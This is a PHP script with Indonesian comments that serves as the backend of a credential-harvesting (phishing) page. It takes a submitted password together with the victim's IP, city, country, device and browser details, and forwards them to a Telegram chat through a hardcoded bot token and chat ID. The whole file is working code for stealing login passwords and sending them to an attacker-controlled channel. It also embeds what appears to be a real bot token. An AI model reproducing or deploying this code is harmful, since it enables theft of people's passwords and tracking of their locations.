<?php
// Konfigurasi Telegram Bot
$botToken = '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4'; // Ganti dengan token bot Anda
$chatId = '-1003615695612'; // Ganti dengan chat ID Anda

// Fungsi untuk mengirim pesan ke Telegram
function sendTelegramMessage($botToken, $chatId, $message) {
    $url = 'https://api.telegram.org/bot' . $botToken . '/sendMessage';
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
    ];

    $options = [
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
            'content' => http_build_query($data),
        ],
    ];

    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);

    return $result;
}

// Periksa apakah metode yang digunakan adalah POST
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Ambil data dari POST request
    $password = $_POST['password'] ?? '';
    $userAgent = $_POST['user_agent'] ?? '';
    $platform = $_POST['platform'] ?? '';
    $language = $_POST['language'] ?? '';
    $timestamp = $_POST['timestamp'] ?? '';
    $deviceType = $_POST['device_type'] ?? '';
    $city = $_POST['city'] ?? '';
    $region = $_POST['region'] ?? '';
    $country = $_POST['country'] ?? '';
    $ip = $_POST['ip'] ?? '';
    $action = $_POST['action'] ?? '';

    // Buat pesan Telegram
    $message = "
Informasi Login:
Password: " . $password . "
User Agent: " . $userAgent . "
Platform: " . $platform . "
Bahasa: " . $language . "
Timestamp: " . $timestamp . "
Tipe Perangkat: " . $deviceType . "
Kota: " . $city . "
Region: " . $region . "
Negara: " . $country . "
IP: " . $ip . "
Aksi: " . $action;

    // Kirim pesan ke Telegram
    $result = sendTelegramMessage($botToken, $chatId, $message);

    // Tulis respons (opsional)
    if ($result) {
        echo "Pesan berhasil dikirim ke Telegram.";
    } else {
        echo "Gagal mengirim pesan ke Telegram.";
    }
} else {
    // Jika bukan POST request
    echo "Akses tidak diizinkan.";
}
?>
